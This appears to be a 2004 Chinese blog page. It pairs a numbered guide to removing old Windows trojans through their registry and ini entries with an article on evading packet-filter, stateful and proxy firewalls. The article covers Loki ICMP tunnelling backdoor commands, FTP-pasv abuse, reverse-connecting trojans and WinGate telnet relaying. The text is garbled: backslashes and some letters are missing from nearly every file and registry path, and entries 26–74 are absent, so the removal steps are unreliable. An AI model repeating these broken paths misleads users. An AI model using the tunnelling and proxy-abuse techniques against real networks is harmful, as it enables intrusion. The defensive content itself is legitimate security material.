删除右边的DirrectLibrarySupport ="C:WINDOWSSYSTEMDllclient.exe"
关闭Regedit,重新启动计算机。
DEL C:WindowsSystemDllclient.exe
OK
清除木马v2.0
打开注册表Regedit
点击目录至:
HKEY_USER/.Default/Software/Mirabilis/ICQ/Agent/Apps/ICQ Accel/
ICQ Accel是一个“假象“的主键,选中ICQ Accel主键并把它删除。
重新启动计算机。OK

15. BrainSpy vBeta
清除木马的步骤:
打开注册表Regedit
点击目录至:
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun
右边有 ??? = "C:WINDOWSsystemBRAINSPY .exe"
???标签选是随意改变的。
关闭Regedit,重新启动计算机
查找删除C:WINDOWSsystemBRAINSPY .exe
OK

16. Cain and Abel v1.50 - 1.51
这是一个口令木马
进入MS-DOS方式
查找到C:windowsmsabel32.exe
并删除它。OK

17. Canasson
清除木马的步骤:
打开WIN.INI文件
查找c:msie5.exe,删除全部主键
保存win.ini
重新启动计算机
删除c:msie5.exe木马文件
OK

18. Chupachbra
清除木马的步骤:
打开WIN.INI文件
【Windows】的下面有两个行
run=winprot.exe
load=winprot.exe
删除winprot.exe
run=
load=
保存Win.ini,再打开注册表Regedit
点击目录至:
HKEY_LOCAL_MACHINESOFTWAREMicroSoftWindowsCurrentVersionRun
删除右边的`System Protect` = winprot.exe
重新启动Windows
查找到C:windowssystem winprot.exe,并删除。
OK

19. Coma v1.09
清除木马的步骤:
打开注册表Regedit
点击目录至:
HKEY_LOCAL_MACHINESOFTWAREMicroSoftWindowsCurrentVersionRun
删除右边的`RunTime` = C:windowsmsgsrv36.exe
重新启动Windows
查找到C:windows msgsrv36.exe,并删除。
OK

20. Control
清除木马的步骤:
打开注册表Regedit
点击目录至:
HKEY_LOCAL_MACHINESOFTWAREMicroSoftWindowsCurrentVersionRun
删除右边的Load MSchv Drv = C:windowssystemMSchv.exe
保存Regedit,重新启动Windows
查找到C:windowssystemMSchv.exe,并删除。
OK
21. Dark Shadow
清除木马的步骤:
打开注册表Regedit
点击目录至:
HKEY_LOCAL_MACHINESOFTWAREMicroSoftWindowsCurrentVersionRunServices
删除右边的winfunctions="winfunctions.exe"
保存Regedit,重新启动Windows
查找到C:windowssystem winfunctions.exe,并删除。
OK

22. DeepThroat v1.0 - 3.1 + Mod (Foreplay)
清除木马的步骤:
打开注册表Regedit
点击目录至:
HKEY_LOCAL_MACHINESOFTWAREMicroSoftWindowsCurrentVersionRun
版本1.0
删除右边的项目`System32`=c:windowssystem32.exe
版本2.0-3.1
删除右边的项目`SystemTray` = `Systray.exe`
保存Regedit,重新启动Windows
版本1.0删除c:windowssystem32.exe
版本2.0-3.1
删除c:windowssystemsystray.exe
OK

23. Delta Source v0.5 - 0.7
清除木马的步骤:
打开注册表Regedit
点击目录至:
HKEY_LOCAL_MACHINESOFTWAREMicroSoftWindowsCurrentVersionRun
删除右边的项目:DS admin tool = C:TEMPSERVER.exe
保存Regedit,重新启动Windows
查找到C:TEMPSERVER.exe,并删除它。
OK

24. Der Spaeher v3
清除木马的步骤:
打开注册表Regedit
点击目录至:
HKEY_LOCAL_MACHINESOFTWAREMicroSoftWindowsCurrentVersionRun
删除右边的项目:explore = "c:windowssystemdkbdll.exe "
保存Regedit,重新启动Windows
删除c:windowssystemdkbdll.exe木马文件。
OK

--

25. Doly v1.1 - v1.7 (SE)
清除木马V1.1-V1.5版本:
这几个木马版本的木马程序放在三处,增加二个注册项目,还增加到Win.ini项目。
首先,进入MS-DOS方式,删除三个木马程序,但V1.35版本多一个木马文件mdm.exe。
把下列各项全部删除:
C:WINDOWSSYSTEM esk.sys
C:WINDOWSStart MenuProgramsStartupmstesk.exe
c:Program FilesMStesk.exe
c:Program FilesMdm.exe
重新启动Windows。
接着,打开win.ini文件
找到【WINDOWS】下面load=c:windowssystem esk.exe项目,删除路径,改变为load=
保存win.ini文件。
最后,修改注册表Regedit
找到以下两个项目并删除它们
HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun
Ms tesk = "C:Program FilesMStesk.exe"

HKEY_USER.DefaultSoftwareMicrosoftWindowsCurrentVersionRun
Ms tesk = "C:Program FilesMStesk.exe"
再寻找到HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionss
这个组是木马的全部参数选择和设置的服务器,删除这个ss组的全部项目。
关闭保存Regedit。
还有打开C:AUTOEXEC.BAT文件,删除
@echo off copy c:sys.lon c:windowsStartMenuStartup Itemsdel c:win.reg
关闭保存autoexec.bat。
OK
清除木马V1.6版本:
该木马运行时,将不能通过98的正常操作关闭,只能RESET键。彻底清除步骤如下:
1.打开控制面板——添加删除程序——删除memory manager 3.0,这就是木马程序,但
是它并不会把木马的EXE文件删除掉。
2.用98或DOS启动盘启动(用RESET键)后,转入C:,编辑AUTOEXEC。BAT,把如下内容
删除:
@echo off copy c:sys.lon c:windowsstartm~1programsstartupmdm.exe
del c:win.reg
保存AUTOEXEC。BAT文件并返回DOS后,在C:根目录下删除木马文件:
del sys.lon
del windowsstartm~1programsstartupmdm.exe
del progra~1mdm.exe
3.抽出软盘重新启动,进入98后,把c:program files目录下的memory manager 目录
删除。
清除木马V1.7版本:
首先,打开C:AUTOEXEC.BAT文件,删除
@echo off copy c:sys.lon c:windowsstartm~1programsstartupmdm.exe
del c:win.reg
关闭保存autoexec.bat
然后打开注册表Regedit
点击目录至:
HKEY_LOCAL_MACHINESOFTWAREMicroSoftWindowsCurrentVersionRun
找到c:windowssystemmdm.exe路径并删除这个项目
点击目录至:
HKEY_USER/.Default/Software/Marabilis/ICQ/Agent/Apps/
找到"C:windowssystemkernal32.exe"路径并删除这个项目
关闭保存Regedit。重新启动Windows。
最后,删除以下木马程序:
c:sys.lon
c:ie小甜饼.exe
c:windowsstart menuprogramsstartupmdm.exe
c:program filesmdm.exe
c:windowssystemmdm.exe
c:windowssystemkernal32.exe
注意:kernal32是A
OK
75. Revenger v1.0 - 1.5
清除木马的步骤:
打开注册表Regedit
点击目录至:
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun删除右边的项目:AppName ="C:...server.exe"
关闭保存Regedit,重新启动Windows
在c:windows查找相应的木马程序server.exe,并删除
OK

76. Ripper
清除木马的步骤:
打开system.ini文件
将shell=explorer.exe sysrunt.exe
改为shell= explorer.exe
关闭保存system.ini,重新启动Windows
在c:windows查找相应的木马程序sysrunt.exe,并删除
OK

77. Satans Back Door v1.0
清除木马的步骤:
打开注册表Regedit
点击目录至:
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunServices删除右边的项目:sysprot protection ="C:windowssysprot.exe"
关闭保存Regedit,重新启动Windows
删除C:windowssysprot.exe
OK

78. Schwindler v1.82
清除木马的步骤:
打开注册表Regedit
点击目录至:
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun删除右边的项目:User.exe = "C:WINDOWSUser.exe"
关闭保存Regedit,重新启动Windows
删除C:WINDOWSUser.exe
OK

79. Setup Trojan (Sshare) +Mod Small Share
这个共享隐藏C盘的木马
清除木马的步骤:
打开注册表Regedit
点击目录至:
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionNetworkLanMan
选择右边有`C$`的项目,并全部删除
关闭保存Regedit,重新启动Windows
OK

80. ShadowPhyre v2.12.38 - 2.X
清除木马的步骤:
打开注册表Regedit
点击目录至:
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun删除右边的项目:WinZipp = "C:WINDOWSSYSTEMWinZipp.exe /nomsg"
或者WinZip = "C:WINDOWSSYSTEMWinZip.exe /nomsg"
关闭保存Regedit,重新启动Windows
删除C:WINDOWS WinZipp.exe或者C:WINDOWS WinZip.exe
OK


81. Share All
清除木马的步骤:
打开注册表Regedit
点击目录至:
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionNetworkLanMan
这里你将看到所有被木马共享出来的你的硬盘符号,把它们一个个删除掉。

82. ShitHeap
清除木马的步骤:
打开注册表Regedit
点击目录至:
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunServices删除右边的项目:recycle-bin = "c:windowssystem ecycle-bin.exe"
或者recycle-bin = "c:windowssystem.exe"
关闭保存Regedit,重新启动Windows
删除c:windowssystem ecycle-bin.exe或者c:windowssystem.exe
OK

83. Snid v1 - 2
清除木马的步骤:
打开注册表Regedit
点击目录至:
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun删除右边的项目:System-tray = `c:windows emp$01.exe`
关闭保存Regedit,重新启动Windows
删除c:windows emp$01.exe
OK

84. Softwarst
清除木马的步骤:
打开注册表Regedit
点击目录至:
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun删除右边的项目:NetApp = C:windowssystemwinserv.exe
关闭保存Regedit,重新启动Windows
删除C:windowssystemwinserv.exe
OK

85. Spirit 2000 Beta - v1.2 (fixed)
清除木马v Beta版本:
打开注册表Regedit
点击目录至:
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun删除右边的项目:internet = "c:windows etip.exe "
关闭保存Regedit
打开win.ini文件
查找到run=c:windows etip.exe
更改为:run=
关闭保存win.ini,重新启动Windows
删除c:windows etip.exe和c:windows etip.exe
OK
清除木马v 1.2版本:
打开注册表Regedit
点击目录至:
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun删除右边的项目:SystemTray = "c:windowswindown.exe "
关闭保存Regedit,重新启动Windows
删除c:windowswindown.exe
OK
清除木马v 1.2(fixed)版本:
打开注册表Regedit
点击目录至:
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun删除右边的项目:Server 1.2.exe = "c:windowsserver 1.2.exe"
关闭保存Regedit,重新启动Windows
删除c:windowsserver 1.2.exe
OK
86. Stealth v2.0 - 2.16
清除木马的步骤:
打开注册表Regedit
点击目录至:
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun删除右边的项目:Winprotect System = "C:WINDOWSwinprotecte.exe
关闭保存Regedit,重新启动Windows
删除C:WINDOWSwinprotecte.exe
OK

87. SubSeven - Introduction
清除木马v1.0 - 1.1:
打开注册表Regedit
点击目录至:
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun删除右边的项目:SystemTrayIcon = "C:WINDOWSSysTrayIcon.Exe"
关闭保存Regedit,重新启动Windows
删除C:WINDOWSSysTrayIcon.Exe
OK
清除木马v1.3 - 1.4 - 1.5:
打开win.ini文件
查找到run=nodll
更改为run=
关闭保存win.ini,重新启动Windows
删除c:windows odll.exe
OK
清除木马v1.6:
打开注册表Regedit
点击目录至:
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun删除右边的项目:SystemTray = "SysTray.Exe"
关闭保存Regedit,重新启动Windows
删除C:windowssystray.exe
OK
清除木马v1.7:
打开注册表Regedit
点击目录至:
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunServices
查找到右边的项目:C:windowskernel16.dl,并删除
关闭保存Regedit,重新启动Windows
删除C:windowskernel16.dl
OK
清除木马v1.8:
打开注册表Regedit
点击目录至:
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun和
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunServices
查找到右边的项目:c:windowssystem.ini.,并删除
关闭保存Regedit。
打开win.ini文件
查找到run= kernel16.dl
更改为run=
关闭保存win.ini。
打开system.ini文件
查找到shell=explorer.exe kernel32.dl
更改为shell=explorer.exe
关闭保存system.ini,重新启动Windows
删除C:windowskernel16.dl
OK
清除木马v1.9 - 1.9b:
打开注册表Regedit
点击目录至:
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun和
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunServices
删除右边的项目:RegistryScan = "rundll16.exe"
关闭保存Regedit,重新启动Windows
删除C:windows undll16.exe
OK
清除木马v2.0:
打开system.ini文件
查找到shell=explorer.exe trojanname.exe
更改为shell=explorer.exe
关闭保存system.ini,重新启动Windows
删除c:windows undll16.exe
OK
清除木马v2.1 - 2.1 Gold + SubStealth- 2.1.3 Mod + 2.1.3 MUIE + 2.1 Bonus:
打开注册表Regedit
点击目录至:
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun和
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunServices
删除右边的项目:WinLoader = MSREXE.EXE
hkey_classes_rootexefileshellopencommand
将右边的项目更改为:@=""%1" %*"
关闭保存Regedit。
打开win.ini文件
查找到run=msrexe.exe和
load=msrexe.exe
更改为run=
load=
关闭保存win.ini。
打开system.ini文件
查找到shell=explore.exe msrexe.exe
更改为shell=explorer.exe
关闭保存system.ini,重新启动Windows
删除C:windows msrexe.exe
C:windowssystemsystray.dll
OK
清除木马v2.2b1:
打开注册表Regedit
点击目录至:
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun和
删除右边的项目:加载器 = "c:windowssystem***"
注:加载器和文件名是随意改变的
关闭保存Regedit。
打开win.ini文件
更改为run=
关闭保存win.ini。
打开system.ini文件
更改为shell=explorer.exe
关闭保存system.ini,重新启动Windows
删除相对应的木马程序
OK

88. Telecommando 1.54
清除木马的步骤:
打开注册表Regedit
点击目录至:
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun删除右边的项目:SystemApp="ODBC.EXE"
关闭保存Regedit,重新启动Windows
删除C:windowssystem ODBC.EXE
OK
--

89. The Unexplained
清除木马的步骤:
打开注册表Regedit
点击目录至:
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun删除右边的项目:InetB00st = "C:WINDOWSTEMPINETB00ST.EXE"
关闭保存Regedit,重新启动Windows
删除C:WINDOWSTEMPINETB00ST.EXE
OK
90. Thing v1.00 - 1.60
清除木马v1.00-1.12:
点击目录至:
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun删除右边的项目:(Default) = "C:somepathhere hing.exe"
也有一些是在:
HKEY_LOCAL_MACHINESystemCurrentControlSetcontrolSessionManagerKnown16DL
Ls删除右边的项目:wsasrv.exe = "wsasrv.exe"
关闭保存Regedit,重新启动Windows
删除C:somepathhere hing.exe
OK
清除木马v 1.20版本:
进入MS_DOS方式:
del winspc13.exe
del ms097.exe
打开system.ini文件
查找到shell=explorer.exe ms097.exe
更改为:shell=explorer.exe
关闭保存system.ini,重新启动Windows
OK
清除木马v1.50版本:
点击目录至:
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun这个项目的路径和文件名是随机改变的,察看有可疑的文件路径,将它删除。
关闭保存Regedit。
打开system.ini文件
查找到shell=explorer.exe后面是木马文件
更改为:shell=explorer.exe
关闭保存system.ini,重新启动Windows
删除相应的木马文件
OK
清除木马v1.50版本:
进入MS_DOS方式:
del winspc13.exe
del ms097.exe
打开system.ini文件
查找到shell=explorer.exe后面是木马文件
更改为:shell=explorer.exe
关闭保存system.ini,重新启动Windows
删除相应的木马文件
OK

91. Transmission Scount v1.1 - 1.2
清除木马的步骤:
打开注册表Regedit
点击目录至:
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun删除右边的项目:Kernel16" = C:WINDOWSKernel16.exe
关闭保存Regedit,重新启动Windows
删除C:WINDOWSKernel16.exe
OK

92. Trinoo
清除木马的步骤:
打开注册表Regedit
点击目录至:
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun删除右边的项目: System Services = service.exe
关闭保存Regedit,重新启动Windows
删除C:windowssystemservice.exe
OK

93. Trojan Cow v1.0
清除木马的步骤:
打开注册表Regedit
点击目录至:
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun删除右边的项目:SysWindow = "C:WINDOWSSyswindow.exe"
关闭保存Regedit,重新启动Windows
删除C:WINDOWSSyswindow.exe
OK

94. TryIt
清除木马的步骤:
打开注册表Regedit
点击目录至:
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun删除右边的项目:Rc5Dec = C:Program FilesInternet Explorer_.exe -guistart
关闭保存Regedit,重新启动Windows
删除C:Program FilesInternet Explorer_.exe
OK

95. Vampire v1.0 - 1.2
清除木马的步骤:
打开注册表Regedit
点击目录至:
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun删除右边的项目:Sockets ="c:windowssystemSockets.exe"
关闭保存Regedit,重新启动Windows
删除c:windowssystemSockets.exe
OK

96. WarTrojan v1.0 - 2.0
清除木马的步骤:
打开注册表Regedit
点击目录至:
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun删除右边的项目:Kernel32 = "C:somepathserver.exe"
关闭保存Regedit,重新启动Windows
删除C:somepathserver.exe
OK


97. wCrat v1.2b
清除木马的步骤:
打开注册表Regedit
点击目录至:
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun删除右边的项目:MS Windows System Explorer ="C:WINDOWSsy***plor.exe"
关闭保存Regedit,重新启动Windows
删除C:WINDOWSsy***plor.exe
OK

98. WebEx (v1.2, 1.3, and 1.4)
清除木马的步骤:
打开注册表Regedit
点击目录至:
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun删除右边的项目:RunDl32 = "C:windowssystem ask_bar"
关闭保存Regedit,重新启动Windows
删除C:windowssystem ask_bar.exe和c:windowssystemmsinet.ocx
OK

99. WinCrash v2
清除木马的步骤:
打开注册表Regedit
点击目录至:
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun删除右边的项目:WinManager = "c:windowsserver.exe"
关闭保存Regedit
打开win.ini文件
查找到run=c:windowsserver.exe
更改为:run=
保存关闭win.ini,重新启动Windows
删除c:windowsserver.exe
OK

100. WinCrash
清除木马的步骤:
打开注册表Regedit
点击目录至:
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun删除右边的项目:MsManager ="SERVER.EXE"
关闭保存Regedit,重新启动Windows
删除C:windowssystem SERVER.EXE
OK

101. Xanadu v1.1
清除木马的步骤:
打开注册表Regedit
点击目录至:
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun删除右边的项目:SETUP = "c:somepathsetup.exe"
关闭保存Regedit,重新启动Windows
删除c:somepathsetup.exe
OK

102. Xplorer v1.20
清除木马的步骤:
打开注册表Regedit
点击目录至:
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun删除右边的项目:PCX = "C:WINDOWSsystemPCX.exe"
关闭保存Regedit,重新启动Windows
删除C:WINDOWSsystemPCX.exe
OK

103. Xtcp v2.0 - 2.1
清除木马的步骤:
打开注册表Regedit
点击目录至:
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun删除右边的项目:msgsv32 = "C:WINDOWSsystemwinmsg32.exe"
关闭保存Regedit,重新启动Windows
删除C:WINDOWSsystemwinmsg32.exe
OK

104. YAT
清除木马的步骤:
打开注册表Regedit
点击目录至:
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunServices删除右边的项目:Batterieanzeige = `c:pathnamehereserver.exe /nomsg`
关闭保存Regedit,重新启动Windows
删除c:pathnamehereserver.exe
OK

- 作者: 007show 2004年08月29日, 星期日 16:54  回复(0) |  引用(0) 加入博采

突破各种防火墙的防护
现在随着人们的安全意识加强,防火墙一般都被公司企业采用来保障网络的安全,一般的攻击者在有防火墙的情况下,一般是很难入侵的。下面谈谈有防火墙环境下的攻击和检测。
一 防火墙基本原理

  首先,我们需要了解一些基本的防火墙实现原理。防火墙目前主要分包过滤,和状态检测的包过滤,应用层代理防火墙。但是他们的基本实现都是类似的。

│ │---路由器-----网卡│防火墙│网卡│----------内部网络│ │

  防火墙一般有两个以上的网络卡,一个连到外部(router),另一个是连到内部网络。当打开主机网络转发功能时,两个网卡间的网络通讯能直接通过。当有防火墙时,他好比插在网卡之间,对所有的网络通讯进行控制。

  说到访问控制,这是防火墙的核心了:),防火墙主要通过一个访问控制表来判断的,他的形式一般是一连串的如下规则:

  1 accept from+ 源地址,端口 to+ 目的地址,端口+ 采取的动作

  2 deny ...........(deny就是拒绝。。)

  3 nat ............(nat是地址转换。后面说)

  防火墙在网络层(包括以下的炼路层)接受到网络数据包后,就从上面的规则连表一条一条地匹配,如果符合就执行预先安排的动作了!如丢弃包。。。。

  但是,不同的防火墙,在判断攻击行为时,有实现上的差别。下面结合实现原理说说可能的攻击。


  二 攻击包过滤防火墙

  包过滤防火墙是最简单的一种了,它在网络层截获网络数据包,根据防火墙的规则表,来检测攻击行为。他根据数据包的源IP地址;目的IP地址;TCP/UDP源端口;TCP/UDP目的端口来过滤!!很容易受到如下攻击:

  1 ip 欺骗攻击:

  这种攻击,主要是修改数据包的源,目的地址和端口,模仿一些合法的数据包来骗过防火墙的检测。如:外部攻击者,将他的数据报源地址改为内部网络地址,防火墙看到是合法地址就放行了:)。可是,如果防火墙能结合接口,地址来匹配,这种攻击就不能成功了:(

  2 d.o.s拒绝服务攻击

  简单的包过滤防火墙不能跟踪 tcp的状态,很容易受到拒绝服务攻击,一旦防火墙受到d.o.s攻击,他可能会忙于处理,而忘记了他自己的过滤功能。:)你就可以饶过了,不过这样攻击还很少的。!

  3 分片攻击

  这种攻击的原理是:在IP的分片包中,所有的分片包用一个分片偏移字段标志分片包的顺序,但是,只有第一个分片包含有TCP端口号的信息。当IP分片包通过分组过滤防火墙时,防火墙只根据第一个分片包的Tcp信息判断是否允许通过,而其他后续的分片不作防火墙检测,直接让它们通过。

  这样,攻击者就可以通过先发送第一个合法的IP分片,骗过防火墙的检测,接着封装了恶意数据的后续分片包就可以直接穿透防火墙,直接到达内部网络主机,从而威胁网络和主机的安全。

  4 木马攻击

  对于包过滤防火墙最有效的攻击就是木马了,一但你在内部网络安装了木马,防火墙基本上是无能为力的。

  原因是:包过滤防火墙一般只过滤低端口(1-1024),而高端口他不可能过滤的(因为,一些服务要用到高端口,因此防火墙不能关闭高端口的),所以很多的木马都在高端口打开等待,如冰河,subseven等。。。

  但是木马攻击的前提是必须先上传,运行木马,对于简单的包过滤防火墙来说,是容易做的。这里不写这个了。大概就是利用内部网络主机开放的服务漏洞。
  
  早期的防火墙都是这种简单的包过滤型的,到现在已很少了,不过也有。现在的包过滤采用的是状态检测技术,下面谈谈状态检测的包过滤防火墙。

  三 攻击状态检测的包过滤

  状态检测技术最早是checkpoint提出的,在国内的许多防火墙都声称实现了状态检测技术。

  可是:)很多是没有实现的。到底什么是状态检测?

  一句话,状态检测就是从tcp连接的建立到终止都跟踪检测的技术。

  原先的包过滤,是拿一个一个单独的数据包来匹配规则的。可是我们知道,同一个tcp连接,他的数据包是前后关联的,先是syn包,-》数据包=》fin包。数据包的前后序列号是相关的。
 
  如果割裂这些关系,单独的过滤数据包,很容易被精心够造的攻击数据包欺骗!!!如nmap的攻击扫描,就有利用syn包,fin包,reset包来探测防火墙后面的网络。!

  相反,一个完全的状态检测防火墙,他在发起连接就判断,如果符合规则,就在内存登记了这个连接的状态信息(地址,port,选项。。),后续的属于同一个连接的数据包,就不需要在检测了。直接通过。而一些精心够造的攻击数据包由于没有在内存登记相应的状态信息,都被丢弃了。这样这些攻击数据包,就不能饶过防火墙了。

  说状态检测必须提到动态规则技术。在状态检测里,采用动态规则技术,原先高端口的问题就可以解决了。实现原理是:平时,防火墙可以过滤内部网络的所有端口(1-65535),外部攻击者难于发现入侵的切入点,可是为了不影响正常的服务,防火墙一但检测到服务必须开放高端口时,如(ftp协议,irc等),防火墙在内存就可以动态地天加一条规则打开相关的高端口。等服务完成后,这条规则就又被防火墙删除。这样,既保障了安全,又不影响正常服务,速度也快。!

  一般来说,完全实现了状态检测技术防火墙,智能性都比较高,一些扫描攻击还能自动的反应,因此,攻击者要很小心才不会被发现。

  但是,也有不少的攻击手段对付这种防火墙的。

  1 协议隧道攻击

  协议隧道的攻击思想类似与VPN的实现原理,攻击者将一些恶意的攻击数据包隐藏在一些协议分组的头部,从而穿透防火墙系统对内部网络进行攻击。

  例如,许多简单地允许ICMP回射请求、ICMP回射应答和UDP分组通过的防火墙就容易受到ICMP和UDP协议隧道的攻击。Loki和lokid(攻击的客户端和服务端)是实施这种攻击的有效的工具。在实际攻击中,攻击者首先必须设法在内部网络的一个系统上安装上lokid服务端,而后攻击者就可以通过loki客户端将希望远程执行的攻击命令(对应IP分组)嵌入在ICMP或UDP包头部,再发送给内部网络服务端lokid,由它执行其中的命令,并以同样的方式返回结果。由

  于许多防火墙允许ICMP和UDP分组自由出入,因此攻击者的恶意数据就能附带在正常的分组,绕过防火墙的认证,顺利地到达攻击目标主机下面的命令是用于启动lokid服务器程序:

lokid-p–I–vl

loki客户程序则如下启动:

loki–d172.29.11.191(攻击目标主机)-p–I–v1–t3

  这样,lokid和loki就联合提供了一个穿透防火墙系统访问目标系统的一个后门。

  2 利用FTP-pasv绕过防火墙认证的攻击

  FTP-pasv攻击是针对防火墙实施入侵的重要手段之一。目前很多防火墙不能过滤这种攻击手段。如CheckPoint的Firewall-1,在监视FTP服务器发送给客户端的包的过程中,它在每个包中寻找"227"这个字符串。如果发现这种包,将从中提取目标地址和端口,并对目标地址加以验证,通过后,将允许建立到该地址的TCP连接。

  攻击者通过这个特性,可以设法连接受防火墙保护的服务器和服务。详细的描述可见http://www.checkpoint.com/techsupport/alerts/pasvftp.html

  3 反弹木马攻击

  反弹木马是对付这种防火墙的最有效的方法。攻击者在内部网络的反弹木马定时地连接外部攻击者控制的主机,由于连接是从内部发起的,防火墙(任何的防火墙)都认为是一个合法的连接,因此基本上防火墙的盲区就是这里了。防火墙不能区分木马的连接和合法的连接。

  但是这种攻击的局限是:必须首先安装这个木马!!!所有的木马的第一步都是关键!!!

  四 攻击代理

  代理是运行在应用层的防火墙,他实质是启动两个连接,一个是客户到代理,另一个是代理到目的服务器。

  实现上比较简单,和前面的一样也是根据规则过滤。由于运行在应用层速度比较慢/1

  攻击代理的方法很多。

  这里就以wingate为例,简单说说了。(太累了)

  WinGate是目前应用非常广泛的一种Windows95/NT代理防火墙软件,内部用户可以通过一台安装有WinGate的主机访问外部网络,但是它也存在着几个安全脆弱点。

  黑客经常利用这些安全漏洞获得WinGate的非授权Web、Socks和Telnet的访问,从而伪装成WinGate主机的身份对下一个攻击目标发动攻击。因此,这种攻击非常难于被跟踪和记录。
  
  导致WinGate安全漏洞的原因大多数是管理员没有根据网络的实际情况对WinGate代理防火墙软件进行合理的设置,只是简单地从缺省设置安装完毕后就让软件运行,这就给攻击者可乘之机。

  1 非授权Web访问

  某些WinGate版本(如运行在NT系统下的2.1d版本)在误配置情况下,允许外部主机完全匿名地访问因特网。因此,外部攻击者就可以利用WinGate主机来对Web服务器发动各种Web攻击( 如CGI的漏洞攻击等),同时由于Web攻击的所有报文都是从80号Tcp端口穿过的,因此,很难追踪到攻击者的来源。

  检测

  检测WinGate主机是否有这种安全漏洞的方法如下:

  1) 以一个不会被过滤掉的连接(譬如说拨号连接)连接到因特网上。

  2) 把浏览器的代理服务器地址指向待测试的WinGate主机。

  如果浏览器能访问到因特网,则WinGate主机存在着非授权Web访问漏洞。


  2 非授权Socks访问

  在WinGate的缺省配置中,Socks代理(1080号Tcp端口)同样是存在安全漏洞。与打开的Web代理(80号Tcp端口)一样,外部攻击者可以利用Socks代理访问因特网。


  防范

  要防止攻击WinGate的这个安全脆弱点,管理员可以限制特定服务的捆绑。在多宿主(multi homed)系统上,执行以下步骤以限定如何提供代理服务。

  1选择Socks或WWWProxyServer属性。

  2选择Bindings标签。

  3按下ConnectionsWillBeAcceptedOnTheFollowingInterfaceOnly按钮,并指定本WinGate服务器的内部接口。

  非授权Telnet访问

  它是WinGate最具威胁的安全漏洞。通过连接到一个误配置的WinGate服务器的Telnet服务,攻击者可以使用别人的主机隐藏自己的踪迹,随意地发动攻击。

  检测

  检测WinGate主机是否有这种安全漏洞的方法如下:

  1.使用telnet尝试连接到一台WinGate服务器。

[root@happy/tmp]#telnet172.29.11.191

Trying172.29.11.191….

Connectedto172.29.11.191.

Escapecharacteris‘^]’.

Wingate>10.50.21.5


  2.如果接受到如上的响应文本,那就输入待连接到的网站。


  3.如果看到了该新系统的登录提示符,那么该服务器是脆弱的。

Connectedtohost10.50.21.5…Connected

SunOS5.6

Login:

  对策

  防止这种安全脆弱点的方法和防止非授权Socks访问的方法类似。在WinGate中简单地限制特定服务的捆绑就可以解决这个问题。一般来说,在多宿主(multihomed)系统管理员可以通过执行以下步骤来完成:

  1.选择TelnetSever属性。

  2.选择Bindings标签。

  3.按下ConnectionsWillBeAcceptedOnTheFollowingInterfaceOnly按钮,并指定本WinGate服务器的内部接口。


  五 后话

  有防火墙的攻击不单是上面的一点,我有什么写的不对的,大家指正。

  一直以来,黑客都在研究攻击防火墙的技术和手段,攻击的手法和技术越来越智能化和多样化。但是就黑客攻击防火墙的过程上看,大概可以分为三类攻击。

  第一类攻击防火墙的方法是探测在目标网络上安装的是何种防火墙系统并且找出此防火墙系统允许哪些服务。我们叫它为对防火墙的探测攻击。

  第二类攻击防火墙的方法是采取地址欺骗、TCP序号攻击等手法绕过防火墙的认证机制,从而 对防火墙和内部网络破坏。

  第三类攻击防火墙的方法是寻找、利用防火墙系统实现和设计上的安全漏洞,从而有针对性地发动攻击。这种攻击难度比较大,可是破坏性很大。 
